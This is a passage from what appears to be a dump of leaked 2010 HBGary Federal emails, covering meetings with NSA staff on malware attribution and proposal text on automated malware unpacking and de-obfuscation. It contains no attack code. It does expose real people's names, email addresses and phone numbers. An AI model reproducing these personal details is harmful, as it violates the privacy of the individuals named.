interest&#8212;maybe even a couple useful pieces. &nbsp;Additionally, here\r\nis an excerpt and link to a well-developed talk that RADM (Ret) Gib Godwin (you\r\nmet him at Cyberspace 2010 in Jan) gave Wednesday in DC.&nbsp; It addresses\r\nCyber in a larger sense.&nbsp; Thought you might appreciate it&#8212;please let\r\nme know if any of this resonates: \r\n\r\n&nbsp;\r\n\r\nNorthrop Grumman&#8217;s J.B. &#8220;Gib&#8221; Godwin\r\nProposes New, Holistic, Cyber-Assurance Paradigm: &#8220;Electro-Magnetic\r\nSpectrum Dominance&#8221;\r\n\r\nBy Globe Newswire, 03/24/2010\r\n\r\nhttp://www.marketwatch.com/story/photo-release-northrop-grummans-jb-gib-godwin-proposes-new-holistic-cyber-assurance-paradigm-electro-magnetic-spectrum-dominance-2010-03-24?reflink=MW_news_stmp\r\n\r\n&nbsp;\r\n\r\nSpeaking to attendees at the American Institute of\r\nEngineers Cybersecurity Conference East yesterday, Northrop Grumman\r\nCorporation\'s J.B. &quot;Gib&quot; Godwin, vice president for cybersecurity and\r\nsystems integration for the company\'s Information Systems sector, insisted that\r\na bigger, faster, smarter cyber threat leaves no room for &quot;silver\r\nbullets&quot; or &quot;Lone Rangers&quot; and proposed &quot;a new paradigm for\r\ncyber assurance: a holistic approach to electromagnetic dominance.&quot; To\r\ncounter threats that are rapidly evolving, increasingly sophisticated, and perpetrated\r\nby a global force ranging from teenagers to state actors, Godwin called for a\r\nmove away from a paradigm that is defensive, reactive, fragmented,\r\nnetwork-focused, add-on, and improvised.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve also\r\nattached the 624th OC FOC+ draft white paper.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCheers, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Air &amp;Space Power Journal\r\n[mailto:aspj@maxwell.af.mil] \r\nSent: Wednesday, March 24, 2010 1:23 PM\r\nTo: Shows, Bob (IS)\r\nSubject: ASPJ Spring 2010--View as HTML\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  SPRING | SUMMER | FALL | WINTER\r\n  \r\n  Spring Issue &#8211; 2009\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Please\r\n    help us better serve you by completing our Survey\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Spring\r\n    2010 available for downloading in PDF format.\r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    Spring\r\n    2010 &#8211; Volume XXIV, No. 1 AFRP 10-1\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Air\r\n    &amp; Space Power Journal articles are available in .pdf and html formats.\r\n    &nbsp;For an electronic (e-mail)\r\n    subscription, go to the &#8220;Subscription\r\n    Center&#8221; at the Air Force Link Web site http://www.af.mil/subscribe.\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Senior\r\n    Leader Perspective\r\n    \r\n    \r\n    The\r\n    United States Air Force Expeditionary Center: Airpower from the Ground Up \r\n    \r\n    \r\n    Maj\r\n    Gen Kip L. Self, USAF\r\n    Col Murrell F.\r\n    Stinnette, USAF\r\n    Col Mark L. Loeben,\r\n    USAF\r\n    Lt Col Ralph J.\r\n    Muli, USAF\r\n    \r\n   \r\n   \r\n    \r\n    The\r\n    Combined Air Power Transition Force: Building Airpower for Afghanistan\r\n    \r\n    \r\n    Brig\r\n    Gen Michael R. Boera, USAF\r\n    \r\n   \r\n   \r\n    \r\n    China&#8217;s\r\n    Perspective on Nuclear Deterrence\r\n    \r\n    \r\n    Sr\r\n    Col Yao Yunzhu\r\n    People&#8217;s\r\n    Liberation Army of China\r\n    \r\n   \r\n   \r\n    \r\n    From\r\n    the Editor\r\n    \r\n    \r\n    Honoring\r\n    Dr. David Mets for His Many Years of Service to Air and Space Power Journal\r\n    \r\n    \r\n    Capt\r\n    Lori Katowich, USAF\r\n    Deputy Chief,\r\n    Professional Journals \r\n    \r\n   \r\n   \r\n    \r\n    Features\r\n    \r\n    \r\n    Global\r\n    Dynamic Operations: Allocation of Remotely Piloted Aircraft among Combatant\r\n    Commands\r\n    \r\n    \r\n    Maj\r\n    Brad W. Borke, USAF\r\n    \r\n   \r\n   \r\n    \r\n    Cyber\r\n    This, Cyber That . . . So What?\r\n    \r\n    \r\n    Maj\r\n    Eric D. Trias, PhD, USAF\r\n    Capt Bryan M. Bell,\r\n    USAF\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Departments\r\n    \r\n   \r\n   \r\n    \r\n    Ricochets and\r\n    Replies\r\n    \r\n   \r\n   \r\n    \r\n    The\r\n    Merge\r\n    \r\n    \r\n    Improving\r\n    Cost-Effectiveness in the Department of Defense \r\n    \r\n    \r\n    Col\r\n    Drew Miller, PhD, USAFR\r\n    \r\n   \r\n   \r\n    \r\n    Achieving\r\n    a Cost-Effective Balance in the Department of Defense: Concurrent and\r\n    Proportional Recapitalization of the Air National Guard\r\n    \r\n    \r\n    Lt\r\n    Col W. Mark Valentine, ANG\r\n    Maj Sean Frederick\r\n    Conroy, ANG\r\n    \r\n   \r\n   \r\n    \r\n    Views\r\n    &amp; Analyses&nbsp;\r\n    \r\n    \r\n    A\r\n    Cyber Proving Ground: The Search for Cyber Genius\r\n    \r\n    \r\n    Lt\r\n    Col Kristal L. M. Alfonso, USAF\r\n    \r\n   \r\n   \r\n    \r\n    The\r\n    Resurgence of Russian Interests in Central Asia\r\n    \r\n    \r\n    \r\n    Lt\r\n    Col Scott G. Frickenstein, USAF \r\n    \r\n   \r\n   \r\n    \r\n    Waypoints\r\n    \r\n    \r\n    P-51\r\n    Escorts: Legend or Myth?\r\n    \r\n    \r\n    Dr.\r\n    David R. Mets&nbsp; \r\n    \r\n   \r\n   \r\n    \r\n    Book\r\n    Reviews&nbsp;&nbsp;&nbsp;&nbsp;\r\n    ASPJ\r\n    Book Reviews Winter 2010\r\n    \r\n   \r\n   \r\n    \r\n    Mission\r\n    Debrief\r\n    Index\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nPlease\r\nread the security and privacy notice \r\n\r\nThis site maintained by AFRI/RIDW\r\nWeb Maintainer | (334)\r\n953-6455 | DSN 493\r\nUpdated:\r\nWednesday, 25-Feb-2009 9:29\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n',3870,'aaron_hbgary_com/3870.html'),(4592,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002698.M771234P3547Q4592.eml','\"Luber, David P.\" <dpluber@nsa.gov>','Re: Malware Repository and Feed processeor','Hi Dave,\r\n\r\nJust a ping to a busy person.  If you would like to discuss some more details around Responder/DDNA and our Threat Monitoring Capability.\r\n\r\nHave a good weekend,\r\nAaron\r\n\r\nOn Mar 17, 2010, at 7:17 PM, Luber, David P. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thanks again for the visit to our office the other day. I am currently in travel with a client, but I will get back with you when I return to the office on friday.\r\n> Thanks,\r\n> Dave\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Luber, David P.\r\n> Cc: Rich Cummings \r\n> Sent: Tue Mar 16 23:35:29 2010\r\n> Subject: Malware Repository and Feed processeor\r\n> \r\n> Dave,\r\n> \r\n> Thank you for having us in to brief yesterday.  I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n> \r\n> 1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes?  If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train?  These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n> 2. I was re-briefed today.  Would you like to set up a follow-on conversation at a different level?  Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\n> \r\n> A few other notes for thought.  We have an existing capability that we are \"productizing\" called the Threat Management Center.  It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers.  This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware.  We have also partnered with Palantir.  Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&C, web artifacts, network activity, malware internals).  Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used.  I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\n> \r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3405,'aaron_hbgary_com/3405.html'),(4593,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002699.M287906P3547Q4593.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Hi Matt,\r\n\r\nStill want to get together next week?\r\n\r\nAaron\r\n\r\nOn Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n\r\n> Yes please.\r\n> \r\n> How about the last week in March?\r\n> \r\n> Matt \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 16, 2010 10:56 PM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Matt,\r\n> \r\n> Would you still like us to come up and discuss DDNA and some of our\r\n> other capabilities?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n> \r\n>> Next week is pretty booked at this point.\r\n>> \r\n>> How about the first week of march (other than 1 March)?\r\n>> \r\n>> Afternoons are good at this point.\r\n>> \r\n>> Matt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> How about next Thursday?\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n> wrote:\r\n>> \r\n>>> What dates/times are good for you?\r\n>>> \r\n>>> Matt\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>> \r\n>>> Yes we can come up.  When are some good dates?\r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>> wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> I am interested.\r\n>>>> \r\n>>>> What is the best way to meet?\r\n>>>> \r\n>>>> Can you come here?\r\n>>>> \r\n>>>> Is this related to Responder Pro?\r\n>>>> \r\n>>>> Matt\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>> \r\n>>>> Dave/Barry/Matt,\r\n>>>> \r\n>>>> I am very interested to discuss our different efforts/capabilities \r\n>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>> convenient to get together.\r\n>>>> \r\n>>>> Thank you,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>> \r\n>>>>> Ralph,\r\n>>>>> \r\n>>>>> Thanks for reminding me about this one.\r\n>>>>> \r\n>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>> \r\n>>>>> Vergle\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>> Parkes;\r\n>>>> \r\n>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Vergle,\r\n>>>>> Reminder of the thread below, and your awareness of the efforts of\r\n>>>> Aaron\r\n>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>> Have\r\n>>>>> not seen any response since this was raised in early December.\r\n>>>>> \r\n>>>>> Also, pls see recent news article below:\r\n>>>>> \r\n>>>>> \'Cyber Genome Project\': The military scientists want to establish a\r\n> \r\n>>>>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n> \r\n>>>>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>>>>> investigatory technologies\".\r\n>>>>> Source: http://www.theregister.co.uk/2010/01/26/\r\n>>>>> cyber_genome_project/\r\n>>>>> \r\n>>>>> VR,\r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Ghent, Ralph\r\n>>>>> Sent: Monday, January 11, 2010 3:05 PM\r\n>>>>> To: Gipson, Vergle\r\n>>>>> Subject: FW: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Vergle:\r\n>>>>> I mentioned this fellow to you awhile back and emailed you all in \r\n>>>>> V2\r\n>> \r\n>>>>> as to possible interest in engaging him to learn of his efforts \r\n>>>>> (which\r\n>>>> \r\n>>>>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>>>>> Malicious\r\n>>>> \r\n>>>>> Code Catalog efforts).\r\n>>>>> \r\n>>>>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he \r\n>>>>> was\r\n>>> \r\n>>>>> holding back on responding til he saw your comments/guidance.\r\n>>>>> \r\n>>>>> \r\n>>>>> Ralph Ghent\r\n>>>>> rdghent@nsa.gov\r\n>>>>> Ph: 443-654-0129\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>> Sent: Friday, January 08, 2010 10:23 AM\r\n>>>>> To: Ghent, Ralph\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>> \r\n>>>>> Hi Ralph,\r\n>>>>> \r\n>>>>> Happy New Year.\r\n>>>>> \r\n>>>>> I am still very interested to talk to folks there about the \r\n>>>>> Malicious\r\n>>> \r\n>>>>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>>>>> interest on that side.  As I mentioned we have recently partnered \r\n>>>>> with\r\n>>>> \r\n>>>>> Palantir and are working on a partnership with Netwitness and maybe\r\n>>>>> 1\r\n>>> \r\n>>>>> or 2 other small vendors with complimentary technology.  I think \r\n>>>>> something really substantial can be put together.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Did anyone from the NTOC contact you yet?\r\n>>>>>> Respectfully,\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ghent, Ralph\r\n>>>>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>>>>> To: \'Aaron Barr\'\r\n>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> Many thanks for the additional info and the opportunity to chat \r\n>>>>>> briefly at Leesburg.\r\n>>>>>> \r\n>>>>>> I have pushed your info to those within my Agency who are working \r\n>>>>>> with\r\n>>>>> \r\n>>>>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>>>>> next\r\n>>>> \r\n>>>>>> week, no one has reached-out to you, pls email me again and I will\r\n> \r\n>>>>>> follow up with them.\r\n>>>>>> \r\n>>>>>> Sincerely,\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Ralph Ghent\r\n>>>>>> rdghent@nsa.gov\r\n>>>>>> Ph: 443-654-0129\r\n>>>>>> \r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>>>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>>>>> To: Ghent, Ralph\r\n>>>>>> Subject: Malware Genome and Attribution\r\n>>>>>> \r\n>>>>>> Ralph,\r\n>>>>>> \r\n>>>>>> Thank you for stepping in and asking about my discussion about \r\n>>>>>> Malware\r\n>>>>> \r\n>>>>>> detection, genomes, and attribution.  I am very new to my current \r\n>>>>>> position as CEO of HBGary Federal, prior to this I was the \r\n>>>>>> Technical\r\n>>> \r\n>>>>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n> \r\n>>>>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks \r\n>>>>>> ago\r\n>>> \r\n>>>>>> if we can make headway against attribution I would have said no, \r\n>>>>>> not\r\n>>> \r\n>>>>>> until we have better situational awareness, network \r\n>>>>>> characterization,\r\n>>>> \r\n>>>>>> CND/CNE integration, etc.\r\n>>>>>> \r\n>>>>>> Then I started to learn about HBGarys Malware Genome database, \r\n>>>>>> where\r\n>>> \r\n>>>>>> they have characterized 3500 traits of malware to date, and are \r\n>>>>>> starting to make associations of authorship across malware.  I \r\n>>>>>> immediately thought of Palantirs capability to link analysis and \r\n>>>>>> had\r\n>>>>> an aha moment.\r\n>>>>>> But I knew that other capabilities needed to be added if we were \r\n>>>>>> seriously going to take a crack at attribution.\r\n>>>>>> \r\n>>>>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n> \r\n>>>>>> would love to talk with them and combine efforts if appropriate to\r\n> \r\n>>>>>> develop the capability that is needed to help with this challenge.\r\n>>>>>> \r\n>>>>>> Thank You,\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> 301.652.8885 x117\r\n>>>>>> 719.510.8478\r\n>>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1161,'aaron_hbgary_com/1161.html'),(4594,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002699.M501816P3547Q4594.eml','\"Chris (TASC) Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Checking in','Hey Chris,\r\n\r\nJust checking in on how things are coming regarding COIN?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4294,'aaron_hbgary_com/4294.html'),(4595,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002699.M733560P3547Q4595.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>','Text','Hey Guys,I am in slice mode now. &nbsp;I need this text reduced in half if possible.AaronIncreasingly malware employs\r\nsophisticated anti-detection and analysis techniques such as; obfuscation,\r\npacking, encryption, and modularization. &nbsp;While conducting malware\r\nanalysis on running programs alleviates some of the complexity since binaries to\r\nrun typically need to be complete, unpacked, and unencrypted, their are\r\nexceptions and there are techniques used by malware authors to try and protect malware\r\nfrom analysis. &nbsp;The goal of the research in this phase is to investigate\r\nmethods used to protect malware from detection and analysis and develop\r\ncapabilities that allow automated analysis to continue. &nbsp;The HBGary\r\nFederal team has extensive experience in this area, specifically with SRI\'s\r\nEureka unpacking technology.We propose to research and\r\ndevelop binary evaluation metrics for the purpose of assessing the quality of\r\nthe unpacked code.&nbsp; In addition to\r\nintegrating SRI\'s speculative API resolution algorithm to automatically resolve\r\ncall sites. The post unpacking analysis capability will be delivered as an add-on\r\nto the Eureka framework to enable further analysis and classification of\r\nmalware.We will develop additional\r\ncriteria that determine the optimal moment for taking a memory snapshot of the\r\nrunning process and recovering the original entry point. We will also\r\ninvestigate novel ways of hiding Eureka from being detected by the running\r\nbinary to avoid triggering suicide logic. We will also explore\r\nsnapshot-stitching techniques for dealing with multi-stage packers and block\r\nencryption.As the origin entry point of windows\r\nbased malware binary is usually not known at the point of unpacking, we will\r\nemploy novel approaches to determine the OEP in the captured memory image of\r\nthe process. We will then automatically rewrite the binary\'s header to set the\r\nOEP and rebuild import tables. We will also research automated techniques for\r\ninformed reconstruction of malware binaries to enable execution and bypass\r\nsuicide logic. We will use the output from static analysis of malware samples\r\nto enable guided executions of unpacked binaries. An important first step\r\ntoward this end is transforming automatically unpacked binaries to running\r\nexecutables for example by fixing the origin entry point, reconstructing import\r\ntables and removing suicide checks. We will employ novel approaches to\r\ndetermine the OEP in the captured memory image of the process and automatically\r\nrewrite the binary\'s header to set the OEP and rebuild import tables. We will\r\nalso develop static analysis and instrumentation techniques to identify and\r\nbypass unnecessary suicide logic. We will also modify the OEP to point to code\r\nsegments of interests to enable exercising specific isolated code logics that\r\nhave been identified by static analysis.Lastly, we will research and\r\ndevelop automated ways to recognize obfuscated code and identify the obfuscation\r\nsteps employed to hinder automated analysis, then systematically de-obfuscate\r\nto restore the binary to an equivalent but un-obfuscated form. This will be\r\ndone by using binary rewriting techniques.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1968,'aaron_hbgary_com/1968.html'),(4596,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002703.M351052P3547Q4596.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Proposal','Mike,\r\n\r\nhere is what we have so far.\r\n\r\nSome things that don\'t exist or are being redone as I write.\r\nIII.D.6 - Being rewritten\r\nIII.D.7 - Being rewritten\r\nIII.E - Being written\r\n\r\nII.C and III.I won\'t be done until tomorrow.  Ted is working the cost volume now.\r\n\r\nI will send you updates as I get them in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',3813,'aaron_hbgary_com/3813.html'),(4597,'2010-03-26','\"Vinod Yegneswaran\" <vinod@csl.sri.com>','/aaron@hbgary.com/new/1297002703.M670739P3547Q4597.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Text','Hi Aaron,\r\n\r\n  Here\'s a shortened version...\r\n\r\n-vinod\r\n>\r\n> Increasingly malware employs sophisticated anti-detection and analysis \r\n> techniques such as; obfuscation, packing, encryption, and \r\n> modularization.  While conducting malware analysis on running programs \r\n> alleviates some of the complexity since binaries to run typically need \r\n> to be complete, unpacked, and unencrypted, their are exceptions and \r\n> there are techniques used by malware authors to try and protect \r\n> malware from analysis.  The goal of the research in this phase is to \r\n> investigate methods used to protect malware from detection and \r\n> analysis and develop capabilities that allow automated analysis to \r\n> continue.\r\n>\r\n\r\n> We propose to research and develop binary evaluation metrics for the \r\n> purpose of assessing the quality of the unpacked code.   The post \r\n> unpacking analysis capability will be delivered as an add-on to the \r\n> Eureka framework to enable further analysis and classification of \r\n> malware and will integrate SRI\'s speculative API resolution algorithm \r\n> to automatically resolve call sites.  We will develop additional \r\n> criteria that determine the optimal moment for taking a memory \r\n> snapshot of the running process and recovering the original entry \r\n> point. We will also investigate novel ways of hiding Eureka from being \r\n> detected by the running binary to avoid triggering suicide logic and \r\n> explore snapshot-stitching techniques for dealing with multi-stage \r\n> packers and block encryption.\r\n>\r\n> As the origin entry point of windows based malware binary is usually \r\n> not known at the point of unpacking, we will explore and implement \r\n> novel strategies to uncover the OEP in the captured memory image of \r\n> the process. We will then automatically rewrite the binary\'s header to \r\n> set the OEP, rebuild import tables and research automated techniques \r\n> for informed reconstruction of malware binaries to enable execution in \r\n> a manner that bypasses environment checks and suicide logic.  The \r\n> output from static analysis of malware samples will enable guided \r\n> executions of unpacked binaries.\r\n>\r\n> Lastly, we will research and develop automated ways to recognize \r\n> obfuscated code, identify various obfuscation steps employed to hinder \r\n> automated analysis, and systematically employ de-obfuscation to \r\n> restore the binary to an equivalent but un-obfuscated form. This will \r\n> inspire new research and development of advanced and automated binary \r\n> rewriting techniques.\r\n>\r\n\r\n\r\n',16638,'aaron_hbgary_com/16638.html'),(4598,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002703.M866302P3547Q4598.eml','\"Vinod Yegneswaran\" <vinod@csl.sri.com>','Re: Text','Thank you.\r\n\r\nOn Mar 26, 2010, at 1:54 PM, Vinod Yegneswaran wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Here\'s a shortened version...\r\n> \r\n> -vinod\r\n>> \r\n>> Increasingly malware employs sophisticated anti-detection and analysis techniques such as; obfuscation, packing, encryption, and modularization.  While conducting malware analysis on running programs alleviates some of the complexity since binaries to run typically need to be complete, unpacked, and unencrypted, their are exceptions and there are techniques used by malware authors to try and protect malware from analysis.  The goal of the research in this phase is to investigate methods used to protect malware from detection and analysis and develop capabilities that allow automated analysis to continue.\r\n>> \r\n> \r\n>> We propose to research and develop binary evaluation metrics for the purpose of assessing the quality of the unpacked code.   The post unpacking analysis capability will be delivered as an add-on to the Eureka framework to enable further analysis and classification of malware and will integrate SRI\'s speculative API resolution algorithm to automatically resolve call sites.  We will develop additional criteria that determine the optimal moment for taking a memory snapshot of the running process and recovering the original entry point. We will also investigate novel ways of hiding Eureka from being detected by the running binary to avoid triggering suicide logic and explore snapshot-stitching techniques for dealing with multi-stage packers and block encryption.\r\n>> \r\n>> As the origin entry point of windows based malware binary is usually not known at the point of unpacking, we will explore and implement novel strategies to uncover the OEP in the captured memory image of the process. We will then automatically rewrite the binary\'s header to set the OEP, rebuild import tables and research automated techniques for informed reconstruction of malware binaries to enable execution in a manner that bypasses environment checks and suicide logic.  The output from static analysis of malware samples will enable guided executions of unpacked binaries.\r\n>> \r\n>> Lastly, we will research and develop automated ways to recognize obfuscated code, identify various obfuscation steps employed to hinder automated analysis, and systematically employ de-obfuscation to restore the binary to an equivalent but un-obfuscated form. This will inspire new research and development of advanced and automated binary rewriting techniques.\r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7654,'aaron_hbgary_com/7654.html'),(4599,'2010-03-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002704.M46138P3547Q4599.eml','\"John Edwards\" <John.Edwards@agilex.com>,\"Rich Cummings\" <rich@hbgary.com>,\"John Edwards\" <John.Edwards@agilex.com>,\"Rich Cummings\" <rich@hbgary.com>,','RE: Voicemail re:services engagement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, who do we call?&nbsp; John or Ira regarding this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Edwards\r\n[mailto:John.Edwards@agilex.com] \r\nSent: Friday, March 26, 2010 8:19 AM\r\nTo: Rich Cummings\r\nCc: Aaron Barr; Penny Leavy-Hoglund; Ira Entis; Dave Martin\r\nSubject: Re: Voicemail re:services engagement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRich,\r\n\r\n\r\n\r\nWow! &nbsp;I hope the 250 hour effort was successful.\r\n\r\n\r\n\r\n\r\n\r\nI look forward to talking to Penny and Aaron re this new\r\nopportunity.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom our side, Ira Entis is going to be the focal point at\r\nLANL is in his Sector\'s AOR.\r\n\r\n\r\n\r\n\r\n\r\nI\'ve cc\'d Ira on this response.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 11:07 